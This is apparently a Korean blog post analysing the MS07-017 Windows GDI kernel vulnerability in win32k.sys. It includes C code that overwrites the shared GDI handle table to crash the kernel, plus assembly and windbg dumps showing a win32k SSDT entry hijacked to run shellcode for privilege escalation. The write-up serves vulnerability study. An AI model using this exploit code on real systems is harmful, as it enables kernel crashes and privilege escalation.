뭐 여기저기서 보면서 분석하긴 했지만 ...
나도 자료 없어서 상당히 찾고 삽질도 많이 했지만 혹시나 또 찾으시는분이 계실까봐;
도움이 되길 바라며...
분석은 vm상의 가상 머신과 로컬머신 두대로 하였으며 윈도우 커널 디버깅을 위해 windbg를 사용했음.
커널모드에는 여러 가지로 구성된다. 그중 눈에 띄는것은 Graphic처리에 관련된 GDI와 win32k.sys 파일이다. 문제는 GDI가 커널 내부로 들어온것인다. 이것은 좋을수도 있고 나쁠수도있다. 물론 안정성 측면의 문제도 집고 넘어가야 하지만 몇가지 의구심이 들수도있다. 이것을 만든 제작자는 안정성에 확신이있어서 GDI를 커널내부로 넣었다고한다. 하지만 종종 win32k.sys의 leak로 인한 블루스크린을 볼수있다.
예전에 Windows GDI Local Privilege Escalation(11/06/2006) 에 GDI문제점으로 야기된바 있다. 하지만 더 중요한건 패치가 늦다는것이다. 패치날짜가 4/3/2007 일으로써 거의 근 5개월만에 패치가 되었다. 이것은 win32k.sys파일안에 취약점이 존재하는데 이를 보면 gpHmgrSharedHandleSection은 GDI 오브젝트 핸들 안에있는 10바이트의 테이블이다. 이것은 다음의 형식을 가지고있다.
+00h PTR GDI object data (kernel data) pointer
+04h WORD Process ID
+06h WORD some flags
+08h WORD high word of GDI handle
+0Ah BYTE type
01h = DC 0Ah = Font
02h = Surface? 0Ch = Font Chunk?
03h = 3D Surface? 0Eh = Color Transform Object
04h = Region 10h = Brush
05h = Bitmap 15h = Metafile?
06h = Client Object? 16h = EnumFontStyle?
07h = Path 1Ch = Driver Object
08h = Palette 1Eh = Spool Object
09h = Color Space
+0Bh BYTE more flags
+0Ch PTR user data pointer
악의가 있는 사용자는 GDI 오브젝트를 새로 만들수있다. 이것은 핸들과 관련된 핵심 데이터 지시자를 수정할 수 있고 이것을 win32k.sys에 적용하기위해 그 오브젝트를 사용한다.
예를 들면 새로운 부분을 만들 수 있고, 핸들 테이블 엔트리를 수정하고, display context에 영역을 더하면서 사용자는 win32k.sys의 커널 매모리를 원하는 위치로 복사할수있다.
그러면 코드를가지고 취약성을 확인해보도록해보겠다.
GDI Kernel structure vulnerability의 취약점으로 GDITableEntry의 구조체는 다음과 같다
typedef struct
{
DWORD pKernelInfo;
WORD ProcessID;
WORD _nCount;
WORD nUpper;
WORD nType;
DWORD pUserInfo;
} GDITableEntry;
위에 상세 정의보다는 추상적이지만 실제로 이 구조체를 사용하여 값을 수정하고 오류를 발생시킬수가있다. 이 취약점의 전체적인 내용은 윈도우를 생성시킨후 그 윈도우의 열려진 객체에 접근하여 시작위치를 가져오게된다. 그리고 Ntdll.dll를 로드한후 핸들 DLL모듈과 함수를가지고 그에대한 프로시져 주소를 가져오고 그 주소에 미리지정한 구조체형식으로 세션의 정보를가져온다. 이 정보는 위에 구조체로 정의한 GDITableEntry의 정보도 포함되어있으며 이 정보에 악의적인 코드를 삽입함으로써 실행시 치명적인 오류를 발생하게된다.
즉 간단히 말하면 이 취약점은 잘못된 세션이 hMapFile 맵상의 초기값을 바꾸기를 시도함으로써 BSOD(Blue Screen of Death)가 발생한다.
주요한 코드를 보면 이해가 빠를것이다.
hWin=CreateWindow(NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL);
....................
lpMapAddress = MapViewOfFile(hMapFile, FILE_MAP_ALL_ACCESS, 0, 0, 0);
hL=LoadLibrary("Ntdll.dll");
(DWORD (WINAPI *)(HANDLE, DWORD, PVOID,DWORD,DWORD*))GetProcAddress(hL,"NtQuerySection");
NtQuerySection(hMapFile,0,&buff,sizeof(buff),0)
GDITableEntry *gdiTable;
gdiTable=(GDITableEntry *)lpMapAddress;
for (i=0;i<buff.SectionSize.QuadPart ;i+=sizeof(GDITableEntry))
{
gdiTable->_nCount =0x5858;
gdiTable->nType =0x5858;
gdiTable->nUpper =0x5858;
gdiTable->ProcessID =0x5858;
gdiTable->pKernelInfo =0x58585858;
gdiTable->pUserInfo =0x58585858;
gdiTable++;
}
이소스는 위에 설명한 과정의 핵심적인 소스코드만 보이고있다.
그럼 컴파일후 실행을 시켜보도록하겠다.
그리고 그부분을 추적해보면 다음과 같은 코드를 볼수있다. 위의 코드에서 임의 적으로 넣었던 0x58585858의 값이 보인다. 그리고 이 값은 EAX레지스터에 들어가있는것같은데 여기에 +4를 하면서 오류가 발생한 것으로 보인다.
그리고 win32k.sys가 사용된것을 볼수있다.
이와 비슷한 취약점으로써 GDI 오브젝트를 만들어 오류를 발생시킬수도있다.
위의 공격과 다른점이라면 위의 것은 수정이라면 이것은 새로운 오브젝트를 만들어 바꿔사용하는 방식이다. 결론적으로는 똑같이 동작하고 취약점 또한 같다. 하지만 중요한것은
SSDT(System Service Descriptor Table)이라는 것을 사용하는데
loc_BF80C1E7:
mov eax, [esi+24h] ; [esi+24] = addr to hijack (here win32k SSDT)
mov dword ptr [eax], 2 ; !!!!!.
0x2에 의한 win32k의 SSDT의 API's입장을 바꿔 부름으로써 현재의 프로세스의 GDITable를 수정할수있다. 0x2에서 메모리를 NtAllocateVirtualMemory와 함께 할당하고 새로만든 패이로드를 할당할수있다.
lkd> dps bf998300 L 2.
bf998300 bf934921 win32k!NtGdiAbortDoc.
bf998304 bf94648d win32k!NtGdiAbortPath.
after :
lkd> dps bf998300 L 2.
bf998300 00000002.
bf998304 bf94648d win32k!NtGdiAbortPath.
공격코드의 실행전과 실행후의 모습을 보여주고있다.
이 코드의 동작과정을 보면 프로세스에 원격 메모리 핸들링을 할당하고 이 프로세스 핸들의 주소에 쉘 코드를 올리게 된다. 그리고 win32k imagebase와 SSDT사이에 올리게된다.
이에 대한 주소는 다음과 같다.
bf998300 bf934921 win32k!NtGdiAbortDoc
그리고 GDITableEntry 내에 있는 브러쉬를 새로 생성한다. 그리고 위의 취약점과 동일하게 이에대한 주소를 가져오고 process id 값을 얻어온다. 그리고 현재 동작중인 GDI Process의 GDITable를 저장하고 새로이 생성한 것으로 바꾸게된다. 공격이 완료되면 현재 브러쉬를 지우고 이전의 것으로 돌리게된다.
__asm
{
mov eax, 0x1000
mov edx,0x7ffe0300
call dword ptr [edx]
}
이 내용를 디버거로 자세히 보게되면
lkd> uf GDI32!NtGdiAbortDoc
GDI32!NtGdiAbortDoc:
77f3073a b800100000 mov eax,1000h
77f3073f ba0003fe7f mov edx,offset SharedUserData!SystemCallStub (7ffe0300)
77f30744 ff12 call dword ptr [edx]
77f30746 c20400 ret 4
다음과같이 사용자는 win32k.sys의 커널 매모리를 원하는 위치로 복사할수가있다.
다음의 정보는 만들어진 브러쉬 오브젝트를 삭제할때의 코드이다.
win32k.sys bDeleteBrush (called by DeleteObject).
mov esi, [edx] ;esi=pKernelInfo
cmp [esi+4], ebx ; ebx=0, we need [esi+4]>0
mov eax, [edx+0Ch]
mov [ebp+var_8], eax
ja short loc_BF80C1E7 ;jump if [esi+4] > 0.
다음은 Windbg로 커널 디버깅한 결과이다.
win32k!HmgDecrementShareReferenceCount+c
a0002b44 8b06 mov eax,[esi]
EXCEPTION_RECORD: ffffffff -- (.exr ffffffffffffffff)
ExceptionAddress: a0002b44 (win32k!HmgDecrementShareReferenceCount+0x0000000c)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 00000000
Attempt to read from address 00000000
.....................................................
win32k!HmgDecrementShareReferenceCount:
a0002b38 55 push ebp
a0002b39 8bec mov ebp,esp
a0002b3b 83ec10 sub esp,0x10
a0002b3e 56 push esi
a0002b3f 8bf1 mov esi,ecx
a0002b41 57 push edi
a0002b42 33ff xor edi,edi
a0002b44 8b06 mov eax,[esi] ds:0023:00000000=???????? <-- null ptr dereference
a0002b46 57 push edi
a0002b47 25ffff0000 and eax,0xffff
a0002b4c 8d4df0 lea ecx,[ebp-0x10]
a0002b4f c1e004 shl eax,0x4
a0002b52 0305587f17a0 add eax,[win32k!gpentHmgr (a0177f58)]
a0002b58 50 push eax
위의 정보를 보면 a0002b44여기서 잘못된 접근이 일어난것을 알수있다. 첫 번째 취약점과는 달리 00000000으로 채우고있다. 이것은 Microsoft 보안 공지 MS07-017-GDI의 취약점으로 인한 원격 코드 실행 문제점 (925902)으로도 문제가되었다. 이 취약점은 windows xp,2000,2003,vista에 이르기까지 windows의 전체적으로 피해를 입을수있다.